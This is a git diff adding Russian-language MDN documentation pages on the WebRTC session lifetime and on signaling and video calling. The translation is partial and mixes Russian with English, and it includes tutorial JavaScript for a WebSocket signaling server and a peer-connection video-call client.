+<p>Есть два уровня перезапуска сессии: полная перезагрузка сессии вызывает все мультимедийные потоки в сеансе и должны быть пересмотрены. Частичная перезагрузка сессии позволяет агенту сессии перезапустить конкретный медиапоток вместо того, чтобы перезапускать  все медиаданные. Некоторые браузеры пока не поддерживают частичную перезагрузку сессии, однако. &lt;&lt;&lt; Все зависит от вашего кодерства... &gt;&gt;&gt;</p>
+
+<p>Если вам необходимо изменить конфигурацию соединения каким-либо образом (например, изменение к другому набору связи), вы можете сделать это перед <code><a href="https://developer.mozilla.org/ru/docs/Web/API/RTCPeerConnection/setConfiguration" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!">RTCPeerConnection.setConfiguration()</a>(перед назначением конфигурации)</code> с обновленной <code><a href="https://developer.mozilla.org/ru/docs/Web/API/RTCConfiguration" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!">RTCConfiguration</a>(конфигурацией)</code> перед повторным запуском движка.</p>
+
+<p>Чтобы явно вызвать перезапуск сессии, нужно начать переговорный процесс с помощью вызова <code><a href="https://developer.mozilla.org/ru/docs/Web/API/RTCPeerConnection/createOffer" title="Документация об этом ещё не написана; пожалуйста, поспособствуйте её написанию!">RTCPeerConnection.createOffer()</a>,</code> указав параметр iceRestart(перезапуск сессии) со значением истины(true). Затем обработать процесс соединения так, как вы это обычно делаете.</p>
+
+<h2 id="Transmission">Transmission</h2>
+
+<h3 id="getUserMedia">getUserMedia</h3>
+
+<p>LocalMediaStream object</p>
+
+<h2 id="Reception">Reception</h2>
diff --git a/files/ru/web/api/webrtc_api/signaling_and_video_calling/index.html b/files/ru/web/api/webrtc_api/signaling_and_video_calling/index.html
new file mode 100644
index 0000000000..4c4f7ea418
--- /dev/null
+++ b/files/ru/web/api/webrtc_api/signaling_and_video_calling/index.html
@@ -0,0 +1,665 @@
+---
+title: Сигнализирование и видео вызов
+slug: Web/API/WebRTC_API/Signaling_and_video_calling
+translation_of: Web/API/WebRTC_API/Signaling_and_video_calling
+---
+<div>{{WebRTCSidebar}}</div>
+
+<p><span class="seoSummary"><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> позволяет обмениваться медиаданными между двумя устройствами напрямую (peer-to-peer) в режиме реального времени. Соединение устанавливается путем обнаружения и согласования, называемым <strong>сигнализацией (signaling)</strong>. Эта статья объясняет, как сделать двусторонний видеозвонок.</span></p>
+
+<p><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> это технология прямого обмена аудио-, видео- и другими данными в режиме реального времени с одним ключевым условием. Процесс обнаружения и согласования медиаформатов должен происходить так чтобы два устройства, подключенные к разным сетям, могли локализовать друг друга, <a href="/en-US/docs/Web/API/WebRTC_API/Session_lifetime#Establishing_a_connection">как обсуждалось здесь</a>. Этот процесс назван <span class="seoSummary"><strong>сигнализацией </strong></span>и подразумевает, что оба устройства подключаются к третьему, обоюдно согласованному серверу. Через третью сторону устройства определяют адреса друг друга и обмениваются согласующими сообщениями.</p>
+
+<p>В этой статье мы будем дорабатывать  <a class="external external-icon" href="https://webrtc-from-chat.glitch.me/" rel="noopener">WebSocket-чат</a>, созданный для нашей документации к WebSocket, — добавим к нему двусторонний видеозвонок между двумя пользователями. Вы можете <a href="https://webrtc-from-chat.glitch.me/">использовать этот пример на Glitch</a> или <a href="https://glitch.com/edit/#!/remix/webrtc-from-chat">клонировать его</a>, чтобы поэкспериментировать самим. <a href="https://github.com/mdn/samples-server/tree/master/s/webrtc-from-chat">Весь проект</a> можно посмотреть на GitHub.</p>
+
+<div class="note">
+<p><strong>Note:</strong> If you try out the example on Glitch, please note that any changes made to the code will immediately reset any connections. In addition, there is a short timeout period; the Glitch instance is for quick experiments and testing only.</p>
+</div>
+
+<h2 id="Сервер_сигнализации">Сервер сигнализации</h2>
+
+<p>Для установление WebRTC-соединения между двумя устройствами необходим <strong>сервер сигнализации</strong>, чтобы определить, как соединять эти устройства через Интернет. Сервер сигнализации выступает посредником между пирами, позволяя им найти адреса друг друга и установить соединение, и предельно минимизирует риск утечки информации, которая может оказаться личной. Как создать такой сервер и как устроен процесс сигнализации?</p>
+
+<p>Во-первых, нужен сам сервер сигнализации. Спецификация WebRTC не определяет, какой транспорт используется для передачи сигнальной информации. Можете использовать какой вам нравится, от <a href="/en-US/docs/Web/API/WebSocket_API">WebSocket</a> до {{domxref("XMLHttpRequest")}} и почтовых голубей, чтобы передать сигнальную информацию между пирами.</p>
+
+<p>Важно, что серверу не нужно понимать или интерпретировать сигнальные данные. Хотя они в формате {{Glossary("SDP")}}, это не имеет особого значения: содержание сообщений, проходящих через сигнальный сервер - по сути, черный ящик. Значение имеет лишь то, что когда подсистема {{Glossary("ICE")}} дает команду передать данные другому пиру, вы просто это делаете, а уже пир знает, как получить эту информацию и доставить ее на свою подсистему ICE. Все что нужно - передавать сообщения туда и обратно. Содержание совершенно не важно для сигнального сервера.</p>
+
+<h3 id="Подготовка_сервера_чата_к_сигнализиции">Подготовка сервера чата к сигнализиции</h3>
+
+<p>Наш <a href="https://github.com/mdn/samples-server/tree/master/s/websocket-chat">сервер чата</a> использует <a href="/en-US/docs/Web/API/WebSocket_API">WebSocket API</a> для отправки информации как {{Glossary("JSON")}}  между каждым клиентом и сервером. Сервер поддерживает несколько типов сообщений для нескольких задач : регистрация нового пользователя, установки имен пользователей, отправка сообщений чата.</p>
+
+<p>Для того, что бы сервер мог поддерживать функциональность сигнализации и согласование соединения, нам нужно обновить код. Нам нужно направлять сообщения одному конкретному пользователю вместо того, чтобы транслировать их всем подключенным пользователям, а также обеспечить передачу и доставку неизвестных типов сообщений, при этом серверу не нужно будет знать, что это такое. Это позволит нам посылать сигнальные сообщения, используя один и тот же сервер, вместо того, чтобы использовать отдельный сервер.</p>
+
+<p>Let's take a look which changes we need to make to the chat server support WebRTC signaling. This is in the file <a href="https://github.com/mdn/samples-server/tree/master/s/webrtc-from-chat/chatserver.js">chatserver.js</a>.</p>
+
+<p>First up is the addition of the function <code>sendToOneUser()</code>. As the name suggests, this sends a stringified JSON message to a particular username.</p>
+
+<pre class="brush: js notranslate">function sendToOneUser(target, msgString) {
+  var isUnique = true;
+  var i;
+
+  for (i=0; i&lt;connectionArray.length; i++) {
+    if (connectionArray[i].username === target) {
+      connectionArray[i].send(msgString);
+      break;
+    }
+  }
+}</pre>
+
+<p>This function iterates over the list of connected users until it finds one matching the specified username, then sends the message to that user. The parameter <code>msgString</code> is a stringified JSON object. We could have made it receive our original message object, but in this example it's more efficient this way. Since the message has already been stringified, we can send it with no further processing. Each entry in <code>connectionArray</code> is a {{domxref("WebSocket")}} object, so we can just call its {{domxref("WebSocket.send", "send()")}} method directly.</p>
+
+<p>Our original chat demo didn't support sending messages to a specific user. The next task is to update the main WebSocket message handler to support doing so. This involves a change near the end of the <code>"connection"</code> message handler:</p>
+
+<pre class="brush: js notranslate">if (sendToClients) {
+  var msgString = JSON.stringify(msg);
+  var i;
+
+  if (msg.target &amp;&amp; msg.target !== undefined &amp;&amp; msg.target.length !== 0) {
+    sendToOneUser(msg.target, msgString);
+  } else {
+    for (i=0; i&lt;connectionArray.length; i++) {
+      connectionArray[i].send(msgString);
+    }
+  }
+}</pre>
+
+<p>This code now looks at the pending message to see if it has a <code>target</code> property. If that property is present, it specifies the username of the client to which the message is to be sent, and we call <code>sendToOneUser()</code> to send the message to them. Otherwise, the message is broadcast to all users by iterating over the connection list, sending the message to each user.</p>
+
+<p>As the existing code allows the sending of arbitrary message types, no additional changes are required. Our clients can now send messages of unknown types to any specific user, letting them send signaling messages back and forth as desired.</p>
+
+<p>That's all we need to change on the server side of the equation. Now let's consider the signaling protocol we will implement.</p>
+
+<h3 id="Designing_the_signaling_protocol">Designing the signaling protocol</h3>
+
+<p>Now that we've built a mechanism for exchanging messages, we need a protocol defining how those messages will look. This can be done in a number of ways; what's demonstrated here is just one possible way to structure signaling messages.</p>
+
+<p>This example's server uses stringified JSON objects to communicate with its clients. This means our signaling messages will be in JSON format, with contents which specify what kind of messages they are as well as any additional information needed in order to handle the messages properly.</p>
+
+<h4 id="Exchanging_session_descriptions">Exchanging session descriptions</h4>
+
+<p>When starting the signaling process, an <strong>offer</strong> is created by the user initiating the call. This offer includes a session description, in {{Glossary("SDP")}} format, and needs to be delivered to the receiving user, which we'll call the <strong>callee</strong>. The callee responds to the offer with an <strong>answer</strong> message, also containing an SDP description. Our signaling server will use WebSocket to transmit offer messages with the type <code>"video-offer"</code>, and answer messages with the type <code>"video-answer"</code>. These messages have the following fields:</p>
+
+<dl>
+ <dt><code>type</code></dt>
+ <dd>The message type; either <code>"video-offer"</code> or <code>"video-answer"</code>.</dd>
+ <dt><code>name</code></dt>
+ <dd>The sender's username.</dd>
+ <dt><code>target</code></dt>
+ <dd>The username of the person to receive the description (if the caller is sending the message, this specifies the callee, and vice-versa).</dd>
+ <dt><code>sdp</code></dt>
+ <dd>The SDP (Session Description Protocol) string describing the local end of the connection from the perspective of the sender (or the remote end of the connection from the receiver's point of view).</dd>
+</dl>
+
+<p>At this point, the two participants know which codecs and video parameters are to be used for this call. They still don't know how to transmit the media data itself though. This is where {{Glossary('ICE', 'Interactive Connectivity Establishment (ICE)')}} comes in.</p>
+
+<h3 id="Exchanging_ICE_candidates">Exchanging ICE candidates</h3>
+
+<p>Two peers need to exchange ICE candidates to negotiate the actual connection between them. Every ICE candidate describes a method that the sending peer is able to use to communicate. Each peer sends candidates in the order they're discovered, and keeps sending candidates until it runs out of suggestions, even if media has already started streaming.</p>
+
+<p>An <code>icecandidate</code> event is sent to the {{domxref("RTCPeerConnection")}} to complete the process of adding a local description using <code>pc.setLocalDescription(offer)</code>.</p>
+
+<p>Once the two peers agree upon a mutually-compatible candidate, that candidate's SDP is used by each peer to construct and open a connection, through which media then begins to flow. If they later agree on a better (usually higher-performance) candidate, the stream may change formats as needed.</p>
+
+<p>Though not currently supported, a candidate received after media is already flowing could theoretically also be used to downgrade to a lower-bandwidth connection if needed.</p>
+
+<p>Each ICE candidate is sent to the other peer by sending a JSON message of type <code>"new-ice-candidate"</code> over the signaling server to the remote peer. Each candidate message include these fields:</p>
+
+<dl>
+ <dt><code>type</code></dt>
+ <dd>The message type: <code>"new-ice-candidate"</code>.</dd>
+ <dt><code>target</code></dt>
+ <dd>The username of the person with whom negotiation is underway; the server will direct the message to this user only.</dd>
+ <dt><code>candidate</code></dt>
+ <dd>The SDP candidate string, describing the proposed connection method. You typically don't need to look at the contents of this string. All your code needs to do is route it through to the remote peer using the signaling server.</dd>
+</dl>
+
+<p>Each ICE message suggests a communication protocol (TCP or UDP), IP address, port number, connection type (for example, whether the specified IP is the peer itself or a relay server), along with other information needed to link the two computers together. This includes NAT or other networking complexity.</p>
+
+<div class="note">
+<p><strong>Note:</strong> The important thing to note is this: the only thing your code is responsible for during ICE negotiation is accepting outgoing candidates from the ICE layer and sending them across the signaling connection to the other peer when your {{domxref("RTCPeerConnection.onicecandidate", "onicecandidate")}} handler is executed, and receiving ICE candidate messages from the signaling server (when the <code>"new-ice-candidate"</code> message is received) and delivering them to your ICE layer by calling {{domxref("RTCPeerConnection.addIceCandidate()")}}. That's it.</p>
+
+<p>The contents of the SDP are irrelevant to you in essentially all cases. Avoid the temptation to try to make it more complicated than that until you really know what you're doing. That way lies madness.</p>
+</div>
+
+<p>All your signaling server now needs to do is send the messages it's asked to. Your workflow may also demand login/authentication functionality, but such details will vary.</p>
+
+<h3 id="Signaling_transaction_flow">Signaling transaction flow</h3>
+
+<p>The signaling process involves this exchange of messages between two peers using an intermediary, the signaling server. The exact process will vary, of course, but in general there are a few key points at which signaling messages get handled:</p>
+
+<p>The signaling process involves this exchange of messages among a number of points:</p>
+
+<ul>
+ <li>Each user's client running within a web browser</li>
+ <li>Each user's web browser</li>
+ <li>The signaling server</li>
+ <li>The web server hosting the chat service</li>
+</ul>
+
+<p>Imagine that Naomi and Priya are engaged in a discussion using the chat software, and Naomi decides to open a video call between the two. Here's the expected sequence of events:</p>
+
+<p><a href="https://mdn.mozillademos.org/files/12363/WebRTC%20-%20Signaling%20Diagram.svg"><img alt="Diagram of the signaling process" src="https://mdn.mozillademos.org/files/16137/WebRTC_-_Signaling_Diagram.svg" style="height: 1117px; width: 901px;"></a></p>
+
+<p>We'll see this detailed more over the course of this article.</p>
+
+<h3 id="ICE_candidate_exchange_process">ICE candidate exchange process</h3>
+
+<p>When each peer's ICE layer begins to send candidates, it enters into an exchange among the various points in the chain that looks like this:</p>
+
+<p><a href="https://mdn.mozillademos.org/files/12365/WebRTC%20-%20ICE%20Candidate%20Exchange.svg"><img alt="Diagram of ICE candidate exchange process" src="https://mdn.mozillademos.org/files/12365/WebRTC%20-%20ICE%20Candidate%20Exchange.svg" style="height: 590px; width: 700px;"></a></p>
+
+<p>Each side sends candidates to the other as it receives them from their local ICE layer; there is no taking turns or batching of candidates. As soon as the two peers agree upon one candidate that they can both use to exchange the media, media begins to flow. Each peer continues to send candidates until it runs out of options, even after the media has already begun to flow. This is done in hopes of identifying even better options than the one initially selected.</p>
+
+<p>If conditions change—for example the network connection deteriorates—one or both peers might suggest switching to a lower-bandwidth media resolution, or to an alternative codec. This triggers a new exchange of candidates, after which a another media format and/or codec change may take place.</p>
+
+<p>Optionally, see {{RFC(8445, "Interactive Connectivity Establishment")}}, <a href="https://tools.ietf.org/html/rfc5245#section-2.3">section 2.3 ("Negotiating Candidate Pairs and Concluding ICE")</a> if you want greater understanding of this process is completed inside the ICE layer. You should note that candidates are exchanged and media starts to flow as soon as the ICE layer is satisfied. This all taken care of behind the scenes. Our role is to simply send the candidates, back and forth, through the signaling server.</p>
+
+<h2 id="The_client_application">The client application</h2>
+
+<p>The core to any signaling process is its message handling. It's not necessary to use WebSockets for signaling, but it is a common solution. You should, of course, select a mechanism for exchanging signaling information that is appropriate for your application.</p>
+
+<p>Let's update the chat client to support video calling.</p>
+
+<h3 id="Updating_the_HTML">Updating the HTML</h3>
+
+<p>The HTML for our client needs a location for video to be presented. This requires video elements, and a button to hang up the call:</p>
+
+<pre class="brush: html notranslate">&lt;div class="flexChild" id="camera-container"&gt;
+  &lt;div class="camera-box"&gt;
+    &lt;video id="received_video" autoplay&gt;&lt;/video&gt;
+    &lt;video id="local_video" autoplay muted&gt;&lt;/video&gt;
+    &lt;button id="hangup-button" onclick="hangUpCall();" disabled&gt;
+      Hang Up
+    &lt;/button&gt;
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<p>The page structure defined here is using {{HTMLElement("div")}} elements, giving us full control over the page layout by enabling the use of CSS. We'll skip layout detail in this guide, but <a href="https://github.com/mdn/samples-server/tree/master/s/webrtc-from-chat/chat.css">take a look at the CSS</a> on Github to see how we handled it. Take note of the two {{HTMLElement("video")}} elements, one for your self-view, one for the connection, and the {{HTMLElement("button")}} element.</p>
+
+<p>The <code>&lt;video&gt;</code> element with the <code>id</code> "<code>received_video</code>" will present video received from the connected user. We specify the <code>autoplay</code> attribute, ensuring once the video starts arriving, it immediately plays. This removes any need to explicitly handle playback in our code. The "<code>local_video</code>" <code>&lt;video&gt;</code> element presents a preview of the user's camera; specifiying the <code>muted</code> attribute, as we don't need to hear local audio in this preview panel.</p>
+
+<p>Finally, the "<code>hangup-button</code>" {{HTMLElement("button")}}, to disconnect from a call, is defined and configured to start disabled (setting this as our default for when no call is connected) and apply the function <code>hangUpCall()</code> on click. This function's role is to close the call, and send a signalling server notification to the other peer, requesting it also close.</p>
+
+<h3 id="The_JavaScript_code">The JavaScript code</h3>
+
+<p>We'll divide this code into functional areas to more easily describe how it works. The main body of this code is found in the <code>connect()</code> function: it opens up a {{domxref("WebSocket")}} server on port 6503, and establishes a handler to receive messages in JSON object format. This code generally handles text chat messages as it did previously.</p>
+
+<h4 id="Sending_messages_to_the_signaling_server">Sending messages to the signaling server</h4>
+
+<p>Throughout our code, we call <code>sendToServer()</code> in order to send messages to the signaling server. This function uses the <a href="/en-US/docs/Web/API/WebSockets_API">WebSocket</a> connection to do its work:</p>
+
+<pre class="brush: js notranslate">function sendToServer(msg) {
+  var msgJSON = JSON.stringify(msg);
+
+  connection.send(msgJSON);
+}</pre>
+
+<p>The message object passed into this function is converted into a JSON string by calling {{jsxref("JSON.stringify()")}}, then we call the WebSocket connection's {{domxref("WebSocket.send", "send()")}} function to transmit the message to the server.</p>
+
+<h4 id="UI_to_start_a_call">UI to start a call</h4>
+
+<p>The code which handles the <code>"userlist"</code> message calls <code>handleUserlistMsg()</code>. Here we set up the handler for each connected user in the user list displayed to the left of the chat panel. This function receives a message object whose <code>users</code> property is an array of strings specifying the user names of every connected user.</p>
+
+<pre class="brush: js notranslate">function handleUserlistMsg(msg) {
+  var i;
+  var listElem = document.querySelector(".userlistbox");
+
+  while (listElem.firstChild) {
+    listElem.removeChild(listElem.firstChild);
+  }
+
+  msg.users.forEach(function(username) {
+    var item = document.createElement("li");
+    item.appendChild(document.createTextNode(username));
+    item.addEventListener("click", invite, false);
+
+    listElem.appendChild(item);
+  });
+}</pre>
+
+<p>After getting a reference to the {{HTMLElement("ul")}} which contains the list of user names into the variable <code>listElem</code>, we empty the list by removing each of its child elements.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Obviously, it would be more efficient to update the list by adding and removing individual users instead of rebuilding the whole list every time it changes, but this is good enough for the purposes of this example.</p>
+</div>
+
+<p>Then we iterate over the array of user names using {{jsxref("Array.forEach", "forEach()")}}. For each name, we create a new {{HTMLElement("li")}} element, then create a new text node containing the user name using {{domxref("Document.createTextNode", "createTextNode()")}}. That text node is added as a child of the <code>&lt;li&gt;</code> element. Next, we set a handler for the {{event("click")}} event on the list item, that clicking on a user name calls our <code>invite()</code> method, which we'll look at in the next section.</p>
+
+<p>Finally, we append the new item to the <code>&lt;ul&gt;</code> that contains all of the user names.</p>
+
+<h4 id="Starting_a_call">Starting a call</h4>
+
+<p>When the user clicks on a username they want to call, the <code>invite()</code> function is invoked as the event handler for that {{event("click")}} event:</p>
+
+<pre class="brush: js notranslate">var mediaConstraints = {
+  audio: true, // We want an audio track
+  video: true // ...and we want a video track
+};
+
+function invite(evt) {
+  if (myPeerConnection) {
+    alert("You can't start a call because you already have one open!");
+  } else {
+    var clickedUsername = evt.target.textContent;
+
+    if (clickedUsername === myUsername) {
+      alert("I'm afraid I can't let you talk to yourself. That would be weird.");
+      return;
+    }
+
+    targetUsername = clickedUsername;
+    createPeerConnection();
+
+    navigator.mediaDevices.getUserMedia(mediaConstraints)
+    .then(function(localStream) {
+      document.getElementById("local_video").srcObject = localStream;
+      localStream.getTracks().forEach(track =&gt; myPeerConnection.addTrack(track, localStream));
+    })
+    .catch(handleGetUserMediaError);
+  }
+}</pre>
+
+<p>This begins with a basic sanity check: is the user even connected? If there's no {{domxref("RTCPeerConnection")}}, they obviously can't make a call. Then the name of the user that was clicked upon is obtained from the event target's {{domxref("Node.textContent", "textContent")}} property, and we check to be sure that it's not the same user that's trying to start the call.</p>
+
+<p>Then we copy the name of the user we're calling into the variable <code>targetUsername</code> and call <code>createPeerConnection()</code>, a function which will create and do basic configuration of the {{domxref("RTCPeerConnection")}}.</p>
+
+<p>Once the <code>RTCPeerConnection</code> has been created, we request access to the user's camera and microphone by calling {{domxref("MediaDevices.getUserMedia()")}}, which is exposed to us through the {{domxref("Navigator.mediaDevices.getUserMedia")}} property. When this succeeds, fulfilling the returned promise, our <code>then</code> handler is executed. It receives, as input, a {{domxref("MediaStream")}} object representing the stream with audio from the user's microphone and video from their webcam.</p>
+
+<div class="note">
+<p><strong>Note:</strong> We could restrict the set of permitted media inputs to a specific device or set of devices by calling {{domxref("MediaDevices.enumerateDevices", "navigator.mediaDevices.enumerateDevices()")}} to get a list of devices, filtering the resulting list based on our desired criteria, then using the selected devices' {{domxref("MediaTrackConstraints.deviceId", "deviceId")}} values in the <code>deviceId</code> field of the the <code>mediaConstraints</code> object passed into <code>getUserMedia()</code>. In practice, this is rarely if ever necessary, since most of that work is done for you by <code>getUserMedia()</code>.</p>
+</div>
+
+<p>We attach the incoming stream to the local preview {{HTMLElement("video")}} element by setting the element's {{domxref("HTMLMediaElement.srcObject", "srcObject")}} property. Since the element is configured to automatically play incoming video, the stream begins playing in our local preview box.</p>
+
+<p>We then iterate over the tracks in the stream, calling {{domxref("RTCPeerConnection.addTrack", "addTrack()")}} to add each track to the <code>RTCPeerConnection</code>. Even though the connection is not fully established yet, it's important to begin sending media to it as soon as possible, because the media will help the ICE layer decide on the best connectivity approach to take, aiding in the negotiation process.</p>
+
+<p>As soon as media is attached to the <code>RTCPeerConnection</code>, a {{event("negotiationneeded")}} event is triggered at the connection, so that ICE negotiation can be started.</p>
+
+<p>If an error occurs while trying to get the local media stream, our catch clause calls <code>handleGetUserMediaError()</code>, which displays an appropriate error to the user as required.</p>
+
+<h4 id="Handling_getUserMedia_errors">Handling getUserMedia() errors</h4>
+
+<p>If the promise returned by <code>getUserMedia()</code> concludes in a failure, our <code>handleGetUserMediaError()</code> function performs.</p>
+
+<pre class="brush: js notranslate">function handleGetUserMediaError(e) {
+  switch(e.name) {
+    case "NotFoundError":
+      alert("Unable to open your call because no camera and/or microphone" +
+            "were found.");
+      break;
+    case "SecurityError":
+    case "PermissionDeniedError":
+      // Do nothing; this is the same as the user canceling the call.
+      break;
+    default:
+      alert("Error opening your camera and/or microphone: " + e.message);
+      break;
+  }
+
+  closeVideoCall();
+}</pre>
+
+<p>An error message is displayed in all cases but one. In this example, we ignore <code>"SecurityError"</code> and <code>"PermissionDeniedError"</code> results, treating refusal to grant permission to use the media hardware the same as the user canceling the call.</p>
+
+<p>Regardless of why an attempt to get the stream fails, we call our <code>closeVideoCall()</code> function to shut down the {{domxref("RTCPeerConnection")}}, and release any resources already allocated by the process of attempting the call. This code is designed to safely handle partially-started calls.</p>
+
+<h4 id="Creating_the_peer_connection">Creating the peer connection</h4>
+
+<p>The <code>createPeerConnection()</code> function is used by both the caller and the callee to construct their {{domxref("RTCPeerConnection")}} objects, their respective ends of the WebRTC connection. It's invoked by <code>invite()</code> when the caller tries to start a call, and by <code>handleVideoOfferMsg()</code> when the callee receives an offer message from the caller.</p>
+
+<pre class="brush: js notranslate">function createPeerConnection() {
+  myPeerConnection = new RTCPeerConnection({
+      iceServers: [     // Information about ICE servers - Use your own!
+        {
+          urls: "stun:stun.stunprotocol.org"
+        }
+      ]
+  });
+
+  myPeerConnection.onicecandidate = handleICECandidateEvent;
+  myPeerConnection.ontrack = handleTrackEvent;
+  myPeerConnection.onnegotiationneeded = handleNegotiationNeededEvent;
+  myPeerConnection.onremovetrack = handleRemoveTrackEvent;
+  myPeerConnection.oniceconnectionstatechange = handleICEConnectionStateChangeEvent;
+  myPeerConnection.onicegatheringstatechange = handleICEGatheringStateChangeEvent;
+  myPeerConnection.onsignalingstatechange = handleSignalingStateChangeEvent;
+}
+</pre>
+
+<p>When using the {{domxref("RTCPeerConnection.RTCPeerConnection", "RTCPeerConnection()")}} constructor, we will specify an {{domxref("RTCConfiguration")}}-compliant object providing configuration parameters for the connection. We use only one of these in this example: <code>iceServers</code>. This is an array of objects describing STUN and/or TURN servers for the {{Glossary("ICE")}} layer to use when attempting to establish a route between the caller and the callee. These servers are used to determine the best route and protocols to use when communicating between the peers, even if they're behind a firewall or using {{Glossary("NAT")}}.</p>
+
+<div class="note">
+<p><strong>Note:</strong> You should always use STUN/TURN servers which you own, or which you have specific authorization to use. This example is using a known public STUN server but abusing these is bad form.</p>
+</div>
+
+<p>Each object in <code>iceServers</code> contains at least a <code>urls</code> field providing URLs at which the specified server can be reached. It may also provide <code>username</code> and <code>credential</code> values to allow authentication to take place, if needed.</p>
+
+<p>After creating the {{domxref("RTCPeerConnection")}}, we set up handlers for the events that matter to us.</p>
+
+<p>The first three of these event handlers are required; you have to handle them to do anything involving streamed media with WebRTC. The rest aren't strictly required but can be useful, and we'll explore them. There are a few other events available that we're not using in this example, as well. Here's a summary of each of the event handlers we will be implementing:</p>
+
+<dl>
+ <dt>{{domxref("RTCPeerConnection.onicecandidate")}}</dt>
+ <dd>The local ICE layer calls your {{event("icecandidate")}} event handler, when it needs you to transmit an ICE candidate to the other peer, through your signaling server. See {{anch("Sending ICE candidates")}} for more information and to see the code for this example.</dd>
+ <dt>{{domxref("RTCPeerConnection.ontrack")}}</dt>
+ <dd>This handler for the {{event("track")}} event is called by the local WebRTC layer when a track is added to the connection. This lets you connect the incoming media to an element to display it, for example. See {{anch("Receiving new streams")}} for details.</dd>
+ <dt>{{domxref("RTCPeerConnection.onnegotiationneeded")}}</dt>
+ <dd>This function is called whenever the WebRTC infrastructure needs you to start the session negotiation process anew. Its job is to create and send an offer, to the callee, asking it to connect with us. See {{anch("Starting negotiation")}} to see how we handle this.</dd>
+ <dt>{{domxref("RTCPeerConnection.onremovetrack")}}</dt>
+ <dd>This counterpart to <code>ontrack</code> is called to handle the {{event("removetrack")}} event; it's sent to the <code>RTCPeerConnection</code> when the remote peer removes a track from the media being sent. See {{anch("Handling the removal of tracks")}}.</dd>
+ <dt>{{domxref("RTCPeerConnection.oniceconnectionstatechange")}}</dt>
+ <dd>The {{event("iceconnectionstatechange")}} event is sent by the ICE layer to let you know about changes to the state of the ICE connection. This can help you know when the connection has failed, or been lost. We'll look at the code for this example in {{anch("ICE connection state")}} below.</dd>
+ <dt>{{domxref("RTCPeerConnection.onicegatheringstatechange")}}</dt>
+ <dd>The ICE layer sends you the {{event("icegatheringstatechange")}} event, when the ICE agent's process of collecting candidates shifts, from one state to another (such as starting to gather candidates or completing negotiation). See {{anch("ICE gathering state")}} below.</dd>
+ <dt>{{domxref("RTCPeerConnection.onsignalingstatechange")}}</dt>
+ <dd>The WebRTC infrastructure sends you the {{event("signalingstatechange")}} message when the state of the signaling process changes (or if the connection to the signaling server changes). See {{anch("Signaling state")}} to see our code.</dd>
+</dl>
+
+<h4 id="Starting_negotiation">Starting negotiation</h4>
+
+<p>Once the caller has created its  {{domxref("RTCPeerConnection")}}, created a media stream, and added its tracks to the connection as shown in {{anch("Starting a call")}}, the browser will deliver a {{event("negotiationneeded")}} event to the {{domxref("RTCPeerConnection")}} to indicate that it's ready to begin negotiation with the other peer. Here's our code for handling the {{event("negotiationneeded")}} event:</p>
+
+<pre class="brush: js notranslate">function handleNegotiationNeededEvent() {
+  myPeerConnection.createOffer().then(function(offer) {
+    return myPeerConnection.setLocalDescription(offer);
+  })
+  .then(function() {
+    sendToServer({
+      name: myUsername,
+      target: targetUsername,
+      type: "video-offer",
+      sdp: myPeerConnection.localDescription
+    });
+  })
+  .catch(reportError);
+}</pre>
+
+<p>To start the negotiation process, we need to create and send an SDP offer to the peer we want to connect to. This offer includes a list of supported configurations for the connection, including information about the media stream we've added to the connection locally (that is, the video we want to send to the other end of the call), and any ICE candidates gathered by the ICE layer already. We create this offer by calling {{domxref("RTCPeerConnection.createOffer", "myPeerConnection.createOffer()")}}.</p>
+
+<p>When <code>createOffer()</code> succeeds (fulfilling the promise), we pass the created offer information into {{domxref("RTCPeerConnection.setLocalDescription", "myPeerConnection.setLocalDescription()")}}, which configures the connection and media configuration state for the caller's end of the connection.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Technically speaking, the string returned by <code>createOffer()</code> is an {{RFC(3264)}} offer.</p>
+</div>
+
+<p>We know the description is valid, and has been set, when the promise returned by <code>setLocalDescription()</code> is fulfilled. This is when we send our offer to the other peer by creating a new <code>"video-offer"</code> message containing the local description (now the same as the offer), then sending it through our signaling server to the callee. The offer has the following members:</p>
+
+<dl>
+ <dt><code>type</code></dt>
+ <dd>The message type: <code>"video-offer"</code>.</dd>
+ <dt><code>name</code></dt>
+ <dd>The caller's username.</dd>
+ <dt><code>target</code></dt>
+ <dd>The name of the user we wish to call.</dd>
+ <dt><code>sdp</code></dt>
+ <dd>The SDP string describing the offer.</dd>
+</dl>
+
+<p>If an error occurs, either in the initial <code>createOffer()</code> or in any of the fulfillment handlers that follow, an error is reported by invoking our <code>reportError()</code> function.</p>
+
+<p>Once <code>setLocalDescription()</code>'s fulfillment handler has run, the ICE agent begins sending {{event("icecandidate")}} events to the {{domxref("RTCPeerConnection")}}, one for each potential configuration it discovers. Our handler for the <code>icecandidate</code> event is responsible for transmitting the candidates to the other peer.</p>
+
+<h4 id="Session_negotiation">Session negotiation</h4>
+
+<p>Now that we've started negotiation with the other peer and have transmitted an offer, let's look at what happens on the callee's side of the connection for a while. The callee receives the offer and calls <code>handleVideoOfferMsg()</code> function to process it. Let's see how the callee handles the <code>"video-offer"</code> message.</p>
+
+<h5 id="Handling_the_invitation">Handling the invitation</h5>
+
+<p>When the offer arrives, the callee's <code>handleVideoOfferMsg()</code> function is called with the <code>"video-offer"</code> message that was received. This function needs to do two things. First, it needs to create its own {{domxref("RTCPeerConnection")}} and add the tracks containing the audio and video from its microphone and webcam to that. Second, it needs to process the received offer, constructing and sending its answer.</p>
+
+<pre class="brush: js notranslate">function handleVideoOfferMsg(msg) {
+  var localStream = null;
+
+  targetUsername = msg.name;
+  createPeerConnection();
+
+  var desc = new RTCSessionDescription(msg.sdp);
+
+  myPeerConnection.setRemoteDescription(desc).then(function () {
+    return navigator.mediaDevices.getUserMedia(mediaConstraints);
+  })
+  .then(function(stream) {
+    localStream = stream;
+    document.getElementById("local_video").srcObject = localStream;
+
+    localStream.getTracks().forEach(track =&gt; myPeerConnection.addTrack(track, localStream));
+  })
+  .then(function() {
+    return myPeerConnection.createAnswer();
+  })
+  .then(function(answer) {
+    return myPeerConnection.setLocalDescription(answer);
+  })
+  .then(function() {
+    var msg = {
+      name: myUsername,
+      target: targetUsername,
+      type: "video-answer",
+      sdp: myPeerConnection.localDescription
+    };
+
+    sendToServer(msg);
+  })
+  .catch(handleGetUserMediaError);
+}</pre>
+
